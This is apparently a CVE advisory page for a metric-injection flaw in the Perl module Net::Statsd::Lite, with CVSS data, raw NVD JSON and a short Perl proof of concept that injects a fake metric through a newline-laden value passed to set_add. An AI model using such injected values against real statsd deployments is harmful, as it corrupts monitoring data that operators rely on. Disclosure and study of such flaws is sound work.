Security Vulnerability Report
中文
CVE-2026-8788 CVSS 7.3 HIGH

CVE-2026-8788

Published: 2026-05-18 08:16:15
Last Modified: 2026-05-19 14:16:50
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections. The values from the set_add method were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics. Note that version 0.9.0 fixed a similar issue CVE-2026-46719 for metric names.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Net::Statsd-Lite <= 0.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl use strict; use warnings; use Net::Statsd::Lite; # Victim configuration my $statsd = Net::Statsd::Lite->new( host => '127.0.0.1', port => 8125, ); # Malicious payload containing newline and pipe characters # This injects a new metric 'fake.metric' alongside the legitimate one my $malicious_input = "value\nfake.metric:666|g"; # The vulnerable 'set_add' method does not sanitize the input # causing the Statsd server to interpret the injected payload print "Sending payload...\n"; $statsd->set_add('legit.metric', $malicious_input); print "Exploit completed. Check Statsd server for injected 'fake.metric'.\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8788", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-18T08:16:15.320", "lastModified": "2026-05-19T14:16:50.060", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections.\n\nThe values from the set_add method were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.\n\nNote that version 0.9.0 fixed a similar issue CVE-2026-46719 for metric names."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "references": [{"url": "https://metacpan.org/release/RRWO/Net-Statsd-Lite-v0.10.1/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-46719", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}]}}